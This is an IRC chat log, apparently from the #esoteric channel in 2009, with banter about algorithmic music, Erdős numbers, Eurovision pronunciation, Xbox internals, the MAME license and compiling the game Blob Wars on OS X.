21:17:56 <ehird> GregorR-L: Just give me root!
21:18:17 <GregorR-L> Which is a great idea since the DB isn't even owned by root :P
21:18:29 <GregorR-L> Well, I could give you less privileges ... but ahh heck!
21:18:33 <ehird> GregorR-L: That's quite irrelevant, isn't it :P
21:19:02 -!- whtspc_ has joined.
21:19:50 <ehird> AnMaster hurt himself! :)
21:19:53 <AnMaster> pan flute + various special effects
21:20:20 <ehird> Awesome, that's what.
21:20:52 <ehird> that sounds awesome
21:21:06 <AnMaster> ehird, the one mentioned above
21:21:16 <AnMaster> http://codu.org/algorhythms/?mpid=Docilely+Bawdy+Sonata
21:21:25 <ehird> AnMaster: wow that's great
21:22:08 <ehird> GregorR-L: the new algo seems to make things go quiet all of a sudden very often
21:22:12 <ehird> it's quite annoying
21:22:49 <ehird> what is it it must be amazing if you hate it
21:23:00 <GregorR-L> ehird: Yeah, I know, that's fixed in my local copy but a bunch of sh** is broken too, so I haven't committed that.
21:23:11 <AnMaster> FX 5 (brighness); Lead 6 (voice); Acoustic Grand Piano; Brass Section; Baritone Sax, Distortion Guitar
21:23:19 <ehird> AnMaster: that sounds awesome
21:23:20 <AnMaster> in some strange semi oriental style
21:24:01 <oerjan> "Acoustic Grand Piano" sounds ...wrong.
21:24:09 <ehird> AnMaster: haha wow
21:24:20 <ehird> ............................................
21:25:03 <AnMaster> oh a type of squirrel says wikipedia
21:25:20 <AnMaster> ehird, I fail to see what squirrels have to do with it
21:25:33 <ehird> Yes, well, you wouldn't.
21:25:38 <oerjan> we're chip and dale, na na na na na na na
21:25:54 <ehird> Nope. Go absorb some western culture :P
21:26:08 <AnMaster> ehird, what part. Western culture is pretty large
21:26:19 <ehird> http://codu.org/algorhythms/getmidi.php?mpid=Only+fucked+up+anti-guardian+mindwarps+need+apply____+and+who+are+you+and+your
21:26:41 <oerjan> AnMaster: disney christmas special, unless they've changed it
21:26:52 <GregorR-L> The American part. That's the only part that matters.
21:27:04 <ehird> Every cartoon with chipmunks, ever.
21:27:11 <AnMaster> oerjan, oh you mean when they talk so fast and are told to show it in pictures instead?
21:27:13 -!- whtspc_ has quit ("ChatZilla 0.9.84 [Firefox 3.0.11/2009060215]").
21:27:17 <oerjan> GregorR-L: disney christmas special is _the_ most popular tv program in sweden
21:27:26 <oerjan> AnMaster: well, the _way_ they talk, in general
21:27:51 -!- augur has quit (Read error: 104 (Connection reset by peer)).
21:27:51 <AnMaster> oerjan, is it popular in Norway too?
21:27:58 <AnMaster> Also I stopped watching it several years ago
21:28:06 -!- augur has joined.
21:28:14 * AnMaster goes listen to something he bets ehird would never guess
21:28:20 <ehird> AnMaster: Autechre.
21:28:38 <AnMaster> ehird, what is "Autechre" though?
21:28:55 <ehird> AnMaster: Uh, remember that video with the warping 3d thing and the noise?
21:29:02 <ehird> That was an Autechre track.
21:29:07 <ehird> (well, they're not all like that...)
21:29:29 <ehird> hey, Ae do melodic too :P
21:29:38 <ehird> http://www.youtube.com/watch?v=hWGUnrIiOoI
21:29:45 <AnMaster> ehird, not that one you linked before
21:30:02 <AnMaster> it was not melodic by *any* definition of melodic
21:32:53 <GregorR-L> I think I'm going to rewrite the autocomposer entirely.
21:33:04 <GregorR-L> Take lessons from what I've done and start again.
21:33:21 <ehird> GregorR-L: Make it use neural networks! And markov chains.
21:33:27 <ehird> Those are two very important things in any AI.
21:34:05 <pikhq> ehird: Go talk to a Markov chain for a bit.
21:34:06 <oerjan> Awesome Instrumentation
21:34:19 <ehird> pikhq: I've done that. :)
21:35:09 <oerjan> hm apparently it's not _the_ most popular tv program any longer, slipped to third
21:35:28 <ehird> the most popular is Pop Idol.
21:35:43 <AnMaster> GregorR, I want it to generate something Mozart would have been, if not proud, at least not embarrassed by!
21:36:01 <fizzie> fungot: How do you feel about Markov processes?
21:36:02 <fungot> fizzie: what about read-block? i don't know what happens. isn't _that_ what's important? is performance fundamental? are you rich? do you prefer books or tv?
21:36:10 <oerjan> no, Eurovision Song Contest actually
21:36:29 <ehird> ais523 watches eurovision for laughs, i can't bring myself to :)
21:36:46 <fizzie> I watch it because they say "poäng" when counting the points.
21:36:46 <oerjan> or the swedish prequel
21:36:51 <ehird> 21:35 AnMaster: GregorR, I want it to generate something Mozart would have been, if not proud, at least not embarrassed by! ← that's old hat; in like the 80s someone demonstrated their program and a Chopin piece and people misidentified the real one
21:37:02 -!- whtspc has quit (Read error: 113 (No route to host)).
21:37:04 <ehird> said the real chopin was too cheesy etc
21:37:09 <AnMaster> fizzie, hm? what is wrong/funny with "poäng"?
21:37:15 <ehird> what we need computers to generate now is weird shit :)
21:37:27 <fizzie> AnMaster: Nothing's wrong, and I doubt it's globally funny. It's just a thing.
21:37:37 <pikhq> fizzie: ... Did you do a *Markov chain* in Befunge?
21:37:44 <AnMaster> ehird, Chopin would be trivial I think...
21:37:45 <ehird> pikhq: You're behind, aren't you.
21:37:58 <GregorR-L> <AnMaster> ehird, Chopin would be trivial I think...
21:37:59 <ehird> AnMaster: Maybe not Chopin. But it was not trivial, and it did other composers too.
21:38:00 <AnMaster> he has a very... marked style?
21:38:03 <pikhq> ehird: Yes, yes I am.
21:38:04 <GregorR-L> Not much love for Chopin in this channel I guess :P
21:38:15 <pikhq> GregorR-L: Not familiar.
21:38:26 <fizzie> pikhq: Technically it's not actually a Markov chain, though. Well, I guess it is if you just formulate it right; the transition probabilities are just uniformly distributed.
21:38:30 <pikhq> (archive.org links are appreciated)
21:38:31 <AnMaster> GregorR, I mean, his style is very special. You can usually identify that something is Chopin after a few seconds
21:38:31 <ehird> I actually don't listen to much classical. *SHOCK* *HORROR*
21:38:31 <coppro> ehird: congratulations, you are now the master of the Poobah election
21:38:40 <oerjan> La France, deux points
21:38:40 <pikhq> fizzie: Still spiffy.
21:38:59 <AnMaster> GregorR, while figuring out of something is Mozart or Haydn is way harder (or any of about 5 other composers)
21:39:09 * oerjan has no idea whether they still use french
21:39:11 <ehird> coppro: gmail is sloooooow
21:40:20 <AnMaster> oerjan, would it really be "points" in French?
21:40:30 <AnMaster> wouldn't it be, um, poain or something iirc?
21:41:04 <coppro> I think that points is correct
21:41:26 <oerjan> AnMaster: it's spelled like in english, but pronounced completely differently
21:41:35 <fizzie> It's the "poäng" thing.
21:41:44 <AnMaster> fizzie, that is the Swedish spelling
21:41:50 <AnMaster> which doesn't sound like the French one
21:42:04 <fizzie> The Finnish slightly exaggerated spelling.
21:42:13 <oerjan> AnMaster: it's borrowed from the french though
21:42:21 <fizzie> Or maybe more than "slightly", anyway.
21:42:27 <AnMaster> oerjan, yes. But the "ng" sound is different
21:42:44 <AnMaster> assuming Swedish pronunciation for "poäng"
21:42:54 <AnMaster> the g-sound is not there in the French one iirc.
21:42:55 * pikhq would like to take this opportunity to declare that Paul Erdős was awesome.
21:43:38 <pikhq> AnMaster: No reason.
21:43:54 <pikhq> Well, except for the obvious bit about the declaration being true.
21:43:59 <oerjan> AnMaster: it represents the original nasal sound of the french vowel
21:44:07 * pikhq needs to write about Plof with Gregor
21:44:08 * fizzie has an Erdős number that's smaller than GregorR-L's. :/
21:44:26 <fizzie> "Smaller" in the sense of "worse". :p
21:44:34 <fizzie> (Sorry, I'm not entirely sober.)
21:44:39 <oerjan> or, oin, it's a diphthong i guess
21:44:41 <AnMaster> oerjan, Swedish has the ng-sound
21:45:04 <oerjan> AnMaster: which is the closest approximation to something nasal i guess
21:45:14 <pikhq> Even glottal stops?
21:45:28 <AnMaster> but with a clear "g" at the end. While the French doesn't have that bit, and have a different sound near "oä". I'm not saying that they aren't related words
21:45:42 <GregorR-L> Hey wait, somebody took my awesome story off of /topic :(
21:45:44 * pikhq is of the opinion that Swedish should only be written using IPA.
21:45:49 <AnMaster> just saying that the spelling "poäng" for the the French one is not a very good approximation
21:46:01 <AnMaster> pikhq, Then I couldn't spell it.
21:46:02 <fizzie> Finnish has a glottal stop in compound words where the first word ends in the same wovel with which the second one starts. Or so sayeth Wikipedia.
21:46:19 <GregorR-L> ehird: You jerk, I liked my topic X-P
21:46:20 <oerjan> AnMaster: oh a clear g? norwegian has "poeng", but the g is not a plosive, just part of the ng nasal consonant
21:46:23 <pikhq> AnMaster: Then you should learn it.
21:46:52 <fizzie> I don't really know how the French "point" is pronounced, so I can't guess how close the Finnish rendering of "poäng" is.
21:46:57 <AnMaster> oerjan, well, not as clear as a free-standing one...
21:47:17 <AnMaster> oerjan, but much more than you find in the French one
21:47:27 -!- GregorR-L has set topic: David slowed his pace slightly as his ears EXPLODED. "Ouch," he sputtered. He quickly regained his running stride as the pirate alligator bear mutants waddled after him. | http://tunes.org/~nef/logs/esoteric/?C=N;O=D.
21:48:12 <GregorR-L> Somebody set the topic to "David slowed his pace slightly as his ears,"
21:48:17 <GregorR-L> So I added the rest of that story.
21:48:46 <GregorR-L> Jun 16 02:59:44 * Warrigal has changed the topic to: David slowed his pace slightly as his ears, | http://tunes.org/~nef/logs/esoteric/?C=N;O=D
21:48:48 <oerjan> AnMaster: french has no g there of course
21:49:43 <AnMaster> GregorR, um, that wasn't the most recent topic then
21:50:04 <GregorR-L> (Mine being an extension to that one)
21:50:10 <ehird> GregorR-L: you're just anti-hitler.
21:50:25 <GregorR-L> And pro-pirate-alligator-bear-mutants.
21:50:51 <oerjan> i'd have thought david was more anti-goliat
21:51:06 <GregorR-L> Goliath was a pirate alligator bear mutant.
21:51:10 <GregorR-L> That part doesn't get across usually.
21:51:47 <AnMaster> GregorR, you said you have an Erdos number?
21:52:19 <GregorR-L> Well, more accurately I will when the next OOPSLA publication becomes public.
21:52:39 <AnMaster> GregorR, so what will your Erdos number be?
21:54:08 <GregorR-L> Gregor Richards -> Jan Vitek -> Nir Shavit -> Michael E. Saks -> Erdos
21:54:12 <ehird> Fun fact: There is someone with an Erdos-Bacon number of 0.
21:54:21 <ehird> Paul Erdos... aka "Kevin Bacon".
21:54:43 <oerjan> the fun part is the definition of "fact" used
21:55:06 * pikhq likes the people with Erdős-Bacon numbers who earned both sides of it
21:55:07 <ehird> I should make a library of fats.
21:55:19 <GregorR-L> Fun fact: The moon is made of the lard of people who've had liposuction. That and green cheese.
21:55:21 <pikhq> Example: Natalie Portman.
21:55:22 <oerjan> i suppose erdos and bacon neither published nor acted together...
21:55:32 <ehird> oerjan: Dude, they're identical.
21:56:09 <ehird> Sheeple is such a stupid noun.
21:56:28 <GregorR-L> That's because you sheeple it like it's a noun, when it's a verb.
21:56:42 <fizzie> Wait, no, it goes up to 6: Myself -> Kurimo, Mikko -> Oja, Erkki -> Cooper, Leon N. -> Zeitouni, Ofer -> Diaconis, Persi W. -> Erdös, Paul. Though I'm not completely sure that's an optimal path.
21:56:56 <ehird> fizzie: The issue is that you're Finnish.
21:57:00 <GregorR-L> FireFly: http://www.ams.org/mathscinet/collaborationDistance.html
21:57:08 <fizzie> The issue is I'm not a mathematician. :p
21:57:15 <fizzie> So I had to guess a bit before I got to mathscinet papers.
21:57:18 <ehird> oerjan: what's your nummer 'gain?
21:57:33 <ehird> oerjan: Collaborate with me. I was Paul Erdos' secret lover.
21:57:38 <pikhq> fizzie: Most all mathematicians have Erdős numbers of >8.
21:57:41 <ehird> I'm pretty sure that counts.
21:57:54 <ehird> most have low numbers :P
21:58:01 <ehird> think of it like incest.
21:58:06 <ehird> <=8 ← paul erdos' penis.
21:58:20 <pikhq> coppro: Erm. Inverted that comparison operator.
21:59:54 -!- coppro has changed nick to {}.
21:59:57 <AnMaster> <ehird> Oh. <-- http://en.wiktionary.org/wiki/sheeple says it is a noun?
22:00:06 -!- {} has changed nick to coppro.
22:00:26 <ehird> Whoooooooooooooooooooooooooooooooooooosh
22:00:31 <ehird> *tornado envelops AnMaster*
22:00:39 <AnMaster> ehird, weren't GregorR trying to fool you?
22:00:47 <ehird> GregorR-L: Stab AnMaster please
22:01:03 <oerjan> ^ul (Wh)S((o)S:^):^(sh)S((!)S:^):^
22:01:04 <fungot> Whoooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo ...too much output!
22:01:34 <GregorR-L> AnMaster: Wiktionary sheeples it as a noun, but that's just because Wiktionary is sheepling it wrong
22:01:37 <pikhq> !ul (Wh)S((o)S:^):^(sh)S((!)S:^):^
22:02:16 <oerjan> pikhq: EgoBot doesn't abbreviate it
22:02:34 <pikhq> !unlambda (Wh)S((o)S:^):^(sh)S((!)S:^):^
22:02:35 <EgoBot> ./interps/unlambda/unlambda.bin: file /tmp/input.23928: parse error
22:03:23 <AnMaster> oerjan, !slashes doesn't output as it go?
22:03:30 -!- kar8nga has quit (Remote closed the connection).
22:03:38 <oerjan> not during a substitution
22:04:04 <AnMaster> oerjan, it could still as it went along
22:04:16 <oerjan> AnMaster: it is somewhat complicated to know when it can do it
22:04:34 <oerjan> since a substitution can make an earlier one possible
22:06:28 <AnMaster> just line buffered output messing up here
22:07:43 <ehird> My internet is slow.
22:07:47 -!- inurinternet has joined.
22:07:48 <ehird> Someone fix the intertubes
22:09:38 -!- MigoMipo has joined.
22:10:08 <ehird> Moo can answer all good questions
22:10:12 <ehird> "What noise do cows make?"
22:10:23 <ehird> "Does a dog have buddha nature?"
22:11:00 <pikhq> Does buddha have dog nature?
22:11:30 <ehird> http://www.kryogenix.org/random/cave.svg ← svg helicopter
22:11:52 <EgoBot> http://google.com/search?q=egobot
22:12:23 <GregorR-L> http://blogoscoped.com/egobrowser/egobot.php // THIS gets the #1 result?!
22:12:58 <ehird> GregorR-L: i've used that
22:13:27 <AnMaster> ehird, that au* you linked above was less bad that the one you linked first. But still not my cup of tea
22:13:46 <ehird> GregorR-L: you asked it questions and it searched google and agglomerated stuff to answer things
22:13:51 <ehird> it was amusingly silly
22:15:22 <oerjan> "agglomerated" is amusingly silly
22:15:48 <ehird> AnMaster: Here, have a completely unobjectional Autechre track: http://www.youtube.com/watch?v=hZZPMo7OdJo
22:15:55 <ehird> If you don't like it, you're unbelievably picky ;P
22:16:22 <AnMaster> <ehird> http://www.kryogenix.org/random/cave.svg ← svg helicopter <-- wtf, a black box?
22:16:29 <pikhq> ehird: ... That doesn't work.
22:16:37 <ehird> pikhq: What doesn't? The youtube link?
22:16:49 <ehird> AnMaster: a key = any key btw, not "a"
22:17:07 <AnMaster> ehird, err what has that got to do with anything?
22:17:13 <ehird> AnMaster: JS helicopter.
22:17:15 <AnMaster> ehird, I tried both konq and inkscape though
22:17:25 <ehird> It's javascript that changes an svg.
22:17:31 <ehird> Do you really expect that to work in inkscape?
22:17:45 <AnMaster> ehird, but I expect most svgs to
22:17:55 <ehird> AnMaster: Only the ones that are static imagery.
22:18:00 <pikhq> I see the SVG rendered, but the Javascript doesn't work in Firefox.
22:18:08 -!- Sgeo has quit (Read error: 110 (Connection timed out)).
22:18:38 <pikhq> Mozilla XULRunner 1.9.0.10 - 2009051912
22:18:51 <ehird> pikhq: What ist he error?
22:18:56 <ehird> "Doesn't work" is collosally unhelpful.
22:19:05 <pikhq> The Javascript does not execute.
22:19:05 <ehird> AnMaster: Focus in the window.
22:19:07 <AnMaster> it doesn't react to key presses
22:19:14 <ehird> pikhq: Your browser is broken.
22:19:16 <ehird> AnMaster: Use another key.
22:19:37 <pikhq> What version of Firefox are you using?
22:19:57 <ehird> pikhq: Tested in both Safari 4 beta (too lazy to upgrade to 4 proper) and Firefox 3.5 beta.
22:20:00 <coppro> destroying the world, one file format at a time
22:20:06 <ehird> Both work absolutely perfectly.
22:20:22 <pikhq> Note that Firefox 3.5 adds a lot of support for various features.
22:20:40 <pikhq> I guess that SGML scripting is one of those features.
22:20:54 <ehird> pikhq: You've been able to script SVG for aeons.
22:21:19 <pikhq> Yes, SVG embedded in HTML.
22:21:30 <ehird> pikhq: That's good, because there's no HTML in that file.
22:21:39 <pikhq> Thus why it's not working.
22:21:41 <ehird> pikhq: you're simply wrong
22:21:45 <ehird> pikhq: I've scripted svg in ff 3.0
22:22:07 <pikhq> Fine. So it just plan doesn't work in 3.0.10.
22:22:22 <pikhq> So it's using *something* that FF 3.5 added.
22:23:28 <pikhq> ... Or 3.0.10 just had a bug.
22:23:40 <ehird> Hurf durf upgrade.
22:23:56 <pikhq> s not ~amd64 in Gentoo.
22:24:10 <ehird> pikhq: "I use Gentoo because it has the latest of everything lololololololololol"
22:24:31 <pikhq> Only an idiot would.
22:24:35 <ehird> A lot of peopled o.
22:24:42 -!- augur has quit (Read error: 104 (Connection reset by peer)).
22:24:44 <pikhq> (and there's plenty of idiots)
22:25:48 <AnMaster> ehird, just because idiots use an OS doesn't mean that everyone using the OS is an iditot
22:25:57 -!- GuestShadowSkunk has joined.
22:26:13 <AnMaster> <ehird> AnMaster: Here, have a completely unobjectional Autechre track: http://www.youtube.com/watch?v=hZZPMo7OdJo <- the video part is horrible. The music is better than the previous one. Still not something I will listen to again though.
22:26:26 <AnMaster> <ehird> If you don't like it, you're unbelievably picky ;P <-- yes I am
22:26:45 <ehird> you'd probably like it better if it was 10x longer and had no beat
22:27:34 -!- augur has joined.
22:27:35 <AnMaster> ehird, I do like game music though. Which is somehow often in between classical and modern
22:27:43 <oerjan> (now we just need to attach some explosives to him for the grand finale)
22:28:05 <ehird> AnMaster: Modern game music is mostly divided between classical, techno, and, uh, Space Giraffe.
22:28:17 <oerjan> the myth that AnMaster is unbelievably picky
22:28:27 <ehird> AnMaster: That's a real game.
22:28:29 <AnMaster> ehird, I probably haven't played "Space Giraffe" games. What do you mean.
22:28:33 <ehird> A real, fucking crazy, psychedelic game.
22:28:36 <ehird> http://www.youtube.com/watch?v=aoT-_2wC4vY
22:28:44 <ehird> Skip forwards to like 8 minutes and watch your head combust.
22:29:29 <GregorR-L> Techno is classical-derivative. With emphasis on "derivative"
22:29:53 <ehird> AnMaster: Because folk & tribe music doesn't exist.
22:30:14 <AnMaster> classical is a derivative of folk/tribe
22:30:37 <pikhq> GregorR-L: Some techno makes that rather obvious.
22:30:49 <pikhq> (see techno renditions of classical pieces. :P)
22:30:56 <ehird> I wonder if you can make Xbox 360 shit work on windows.
22:31:01 <AnMaster> GregorR, how many "Hungarian dances" and similiar by classical composers have you seen?
22:31:01 <ehird> It does run windows, after all.
22:31:07 <GregorR-L> AnMaster: You're acting as if "folk and tribe music" is one genre.
22:31:34 <pikhq> ehird: The 360 doesn't do Windows; it merely has a vaguely similar API.
22:32:04 <ehird> pikhq: Well, uh. The original xbox ran Windows, and the xbox 360 runs 478 Xbox games.
22:32:15 <ehird> So I'm thinkin' that there's a good amount of Windows in there.
22:32:21 <pikhq> The 360 emulates the original Xbox.
22:32:39 <ehird> pikhq: But anyway, how many unique APIs does the xbox actually have?
22:32:50 <pikhq> And the Xbox didn't run Windows, it ran an OS which happened to be based on the NT kernel.
22:33:04 <ehird> Operating systemHighly Modified Windows 2000 and XP (through Xbox LIVE)
22:33:19 <AnMaster> <ehird> http://www.youtube.com/watch?v=aoT-_2wC4vY <-- reminds me more of a demo...
22:33:25 <pikhq> It can hardly be called Windows without the Windows subsystem.
22:33:27 <ehird> AnMaster: It reminds me more of a trip. :p
22:33:40 <AnMaster> ehird, I never had one. So no idea
22:34:02 <ehird> Nor have I, but if they're not like that, I'm severely disappointed.
22:34:18 <pikhq> "Trip"? You want a trippy game?
22:34:29 <ehird> pikhq: Dude, did you actually click the link?
22:34:36 <ehird> Click it and skip to 8 minutes, then claim Katamari is more trippy.
22:34:51 <pikhq> ehird: No; I have a ridiculously low bandwidth cap.
22:34:54 <AnMaster> ehird, what music genre is this in general?
22:34:58 <ehird> Then accept it on faith :P
22:35:11 * pikhq listens to Katamari Fortissimo Damacy
22:35:47 <AnMaster> ehird, but why the random sounds like a cow?
22:35:54 <ehird> AnMaster: I think it has an assortment, but I just get synethesisea so I'm probably hearing the visuals :)
22:35:57 -!- Slereah has quit (Connection timed out).
22:36:28 <ehird> AnMaster: Also, that's things exploding, I think.
22:36:33 <ehird> I'm pretty sure you shoot things.
22:36:42 <AnMaster> ehird, yes, but that is another part
22:36:50 <AnMaster> there is the exploding bit too
22:37:04 <ehird> I think that's just stuff happening when you shoot things.
22:37:12 <AnMaster> ehird, after it says "pod get"
22:37:30 <AnMaster> ehird, sounds like a cow doesn't it?
22:37:56 <AnMaster> also what odd shape for the playing field
22:38:23 <AnMaster> I seriously can't figure out how the game works from that video
22:38:56 <ehird> AnMaster: "The sheep vocals for the song were done by Flossie, Jeff's pet sheep, who has since passed away."
22:39:03 <ehird> So I guess some of them are part of the song.
22:39:08 <ehird> And the loud ones part of the game.
22:39:19 -!- MigoMipo has quit ("QuitIRCServerException: MigoMipo disconnected from IRC Server").
22:40:53 <AnMaster> ehird, the music around 8 minutes is quite sane IMO
22:40:59 <AnMaster> compared to the previous music
22:41:04 <ehird> Yes, but everything else isn't, so it balances out.
22:41:14 <ehird> I'm sort of getting the idea.
22:41:17 <ehird> The star things are enemies.
22:41:24 <ehird> When the field disappears, you fly to another field.
22:41:31 <ehird> You are the thing that doesn't look like a giraffe at all.
22:42:39 <AnMaster> wait what "A winner is you\nBut our giraffe is in\nAnother Castle"?
22:42:54 <AnMaster> they asked whowever translated "all your base" for help?
22:42:54 <ehird> AnMaster: that's from mario
22:43:03 <ehird> AnMaster: well, the last two lines
22:43:04 <AnMaster> ehird, oh? I don't remember that bit
22:43:07 <ehird> AnMaster: the first one is from another meme
22:43:28 * ehird googles for exact quote, internet is slow.
22:43:40 <ehird> AnMaster: At the end of each world except the last, Mario or Luigi is greeted with the words "Thank you Mario! But our princess is in another castle!" spoken by a Mushroom Retainer.[16]
22:43:54 <ehird> A WINNER IS YOU! is from Pro Wrestling, a NES game.
22:44:10 <AnMaster> ehird, translation fail for that though
22:44:32 <AnMaster> that sounds like translation fail
22:44:47 <pikhq> ehird: http://blogs.msdn.com/xboxteam/archive/2006/02/17/534421.aspx
22:44:49 <AnMaster> ehird, do you like this music?
22:44:56 <ehird> The space giraffe stuff?
22:45:07 <AnMaster> ehird, if so I might know another game with odd music
22:46:22 <ehird> pikhq: i just wanna play xbox 360 games without buying one :P
22:46:50 <pikhq> ehird: According to the Xbox dev team, the Xbox OS was written from the ground up, but happens to use parts of the Win32 API for convenience' sake.
22:47:00 <AnMaster> ah yes... it was the game with a music file named "cosmicMotion.xm" oh and another one called "condomCorruption.mod"... The music varies a lot. Some is classical, some is techno, some is just plain weird.
22:47:00 <ehird> pikhq: it probably still uses the execution model & kernel model.
22:47:11 <ehird> condom corruption!
22:47:15 <pikhq> Good luck, man. There's *source* compatibility between the 360 and Windows.
22:47:40 <AnMaster> ehird, that isn't the google search box
22:47:48 <AnMaster> ehird, that is the irc input field
22:47:52 <pikhq> (well, you could possibly get some 360 games working on Windows; some of those games are .Net)
22:47:58 <ehird> AnMaster: which blob wars?
22:48:02 <ehird> http://www.google.com/search?client=safari&rls=en-us&q=blobwars&ie=UTF-8&oe=UTF-8
22:48:04 <ehird> lotsa flahs ones there
22:48:37 <AnMaster> there are two games. will be a trilogy.
22:48:43 <ehird> http://en.wikipedia.org/wiki/Blob_Wars
22:48:51 <ehird> guess ill download it.
22:49:01 <AnMaster> ehird, A PITA to compile iirc.
22:49:02 <ehird> GregorR-L: your wearable works standalone now? does it have a net connection?
22:49:07 <ehird> AnMaster: that's good, I'll use a binary.
22:49:12 <AnMaster> ehird, unless you aren't on 32-bit Linux
22:49:46 <ehird> the mac binary is from september 08
22:49:57 <ehird> the fucking AROS binary is newer
22:50:00 <AnMaster> ehird, anyway, there is also http://en.wikipedia.org/wiki/Blob_Wars:_Blob_And_Conquer
22:50:03 <ehird> AROS is a bloody open source amigaOS!
22:50:17 <pikhq> ehird: Might I recommend qemu?
22:50:27 <ehird> pikhq: might i recommend I'm-buying-a-new-computer.
22:50:33 <ehird> pikhq: also, no kqemu.
22:50:35 <AnMaster> ehird, just play the music with modplugplay
22:50:38 <pikhq> Qemu's non-system emulation sucks ass.
22:50:42 <ehird> AnMaster: but i wanna play the game :D
22:50:49 -!- GregorR-L has quit (Connection timed out).
22:51:02 <AnMaster> ehird, then I think it is quite ok. but the sequel is better
22:51:04 -!- jix has joined.
22:51:08 <pikhq> Uh. Dual boot your Mac? That's your best hope, sadly...
22:51:20 <ehird> pikhq: whatever, I'm only going to be using this for a month or two
22:52:06 <ehird> do you know what I hate?
22:52:08 -!- oerjan has quit ("Good night").
22:52:13 <ehird> MAME (the arcade machine emulator)'s license
22:52:14 <ehird> MAME is free. Its source code is free. Selling either is not allowed.
22:52:18 <ehird> Derivative works are permitted under the MAME license. However, you are discouraged from providing specific functionality that goes against the philosophy of the MAME team. Specifically:
22:52:21 <ehird> Do not add games which are more recent than 3 years old, or which are still being sold new by the company that produced them. MAME is not intended to be a platform that competes with arcade games that are still being actively sold.
22:52:25 <ehird> Do not provide a means of generating a list of games that specifically identifies those games for which the user does not have image files. This only encourages users to seek out sources for illegal ROM, CD, and hard disk images in order to "complete" their collection.
22:52:29 <ehird> Do not remove the startup screen that contains information about why certain non-working games don't work. This only serves to generate a bunch of useless email traffic to the developers asking why the games don't work.
22:52:32 <pikhq> ehird: That is lame.
22:52:44 <ehird> "YOU CAN'T SELL MAME EVEN THOUGH THAT'S NOT ANTI-OPEN SOURCE. AND DON'T ADD RECENT GAMES OR LET PEOPLE GET ILLEGAL GAMES AND DON'T REMOVE THE STARTUP SCREE"
22:52:51 <AnMaster> pikhq, he could compile it on mac
22:53:03 <ehird> you said it was a bitch to compile
22:53:20 <AnMaster> ehird, yes it seems better in 1.11 though
22:53:39 <ehird> ugh, it does the same as enigma
22:53:44 * pikhq could've sworn that there were at least attempts to switch MAME to GPL.
22:53:45 <ehird> changes colour profile on my display
22:53:55 <ehird> so everything goes darker
22:54:03 <ehird> AnMaster: it's some sdl/os x thing
22:54:08 <ehird> dna maze dosen't do it though
22:55:12 <ehird> AnMaster: haha i like the screams.
22:55:38 <AnMaster> ehird, there is an option for it iirc
22:55:51 -!- M0ny has quit.
22:55:55 <ehird> who would want to disable it!
22:56:07 <AnMaster> ehird, the psyco music are in the final levels iirc
22:56:37 <ehird> how do you switch weapon?
22:56:44 <AnMaster> ehird, you pick up another one
22:57:06 <AnMaster> as in, only pistol works under water
22:57:14 <AnMaster> and in some cases you need grenades to complete the level
23:00:01 <AnMaster> ehird, the sequel is third person 3D
23:00:22 <AnMaster> http://en.wikipedia.org/wiki/Blob_Wars:_Blob_And_Conquer
23:00:31 <AnMaster> http://www.parallelrealities.co.uk/projects/blobAndConquer.php
23:00:52 <AnMaster> ehird, would be a spoiler without playing the first though!
23:01:30 <GuestShadowSkunk> "It will therefore be necessary to leave our problem at the point reached above and to develop first a kind of function calculus [Funktionenkalkl]; we are using this term here in a sense more general than is otherwise customary."
23:01:47 -!- GuestShadowSkunk has changed nick to Slereah.
23:02:58 * ehird completes level one of the original blob wars.
23:03:00 <ehird> damn that was awesome.
23:03:31 <ehird> clearly, though, I Wanna Be The Guy is better.
23:03:43 <ehird> AnMaster: no os x binary of that
23:03:48 <ehird> guess i'll compile
23:03:55 <AnMaster> ehird, hm indeed. just a simple makefile
23:04:04 <ehird> "* - A dual analog stick joypad (eg - PS2 Dual Shock) is highly recommended"
23:04:10 <ehird> i should pick one of them up sometime
23:04:19 <ehird> i love the ps2 joypad
23:04:29 <pikhq> Pick up a PS3 controller.
23:04:37 <ehird> the gamecube controller is awful
23:04:45 <pikhq> Just plug it in and away you go.
23:05:26 <ehird> pikhq: nothing can beat http://upload.wikimedia.org/wikipedia/en/7/7c/Sonydualshockblack.JPG !
23:05:32 <AnMaster> ehird, the sequel has less psyco music
23:08:08 <pikhq> ehird: Yeah; the dualshock is a very good controller.
23:08:47 <ehird> pikhq: D-Pad is a bit non-tactile though.
23:09:23 <GregorR> The D-pad is there for show :P
23:10:07 <ehird> I dunno, I've used it.
23:11:02 <FireFly> I have a USB Dualshock wannabe for my comp :p
23:11:07 <pikhq> Yeah, the D-pad is its only problem.
23:11:11 <pikhq> FireFly: Get a real one.
23:11:19 <pikhq> The PS3 controllers *are* USB.
23:11:31 <FireFly> Perhaps, but I don't have any PS3
23:11:37 <ehird> PS2 DualShock > PS3 DualShock
23:11:41 <FireFly> And I'm not playing THAT much on my comp
23:11:47 <pikhq> Don't need a PS3 for it.
23:11:55 <pikhq> You can buy the PS3 controllers seperately.
23:12:03 <pikhq> Just plug them in.
23:12:08 <FireFly> [00:11:41] <FireFly> And I'm not playing THAT much on my comp
23:12:19 <FireFly> I mean, I mostly bought that one for mupen
23:12:22 <pikhq> Or if you have Bluetooth, just turn them on.
23:12:39 <ehird> AnMaster: After some hacking, it fails at linktime.
23:12:49 <ehird> "gettext" isn't defined, nor is "libintl_{bind,}textdomain".
23:12:52 <pikhq> ehird: Yeah, but only slightly. The PS3 dualshock is still very good.
23:12:56 <ehird> Guess I need to compile with gettext.
23:13:24 <GregorR> When are they going to make the tripleshock :P
23:13:42 <AnMaster> ehird, never had that issues on OS X
23:14:01 <pikhq> GregorR: Sometime after humans grow a third hand.
23:14:20 <ehird> AnMaster: ah, -lintl helped.
23:14:31 <GregorR> pikhq: Hey, it worked for the N64
23:14:36 <pikhq> Different way of initialising it on OSX.
23:14:41 <pikhq> GregorR: Oh, right.
23:14:41 <ehird> % ./blobAndConquer
23:14:42 <ehird> zsh: bus error ./blobAndConquer
23:14:53 <ehird> pikhq: no, just linking stuff
23:15:04 <ehird> should be OpenGL/foo
23:15:12 <ehird> and SDL/foo, doesn't work with sdl-config --cflags
23:15:16 <FireFly> I've never been much of a PS fan, but I'm glad they didn't go for the silver banana controller for Ps3
23:15:17 <ehird> so i needed to add /opt/local/include
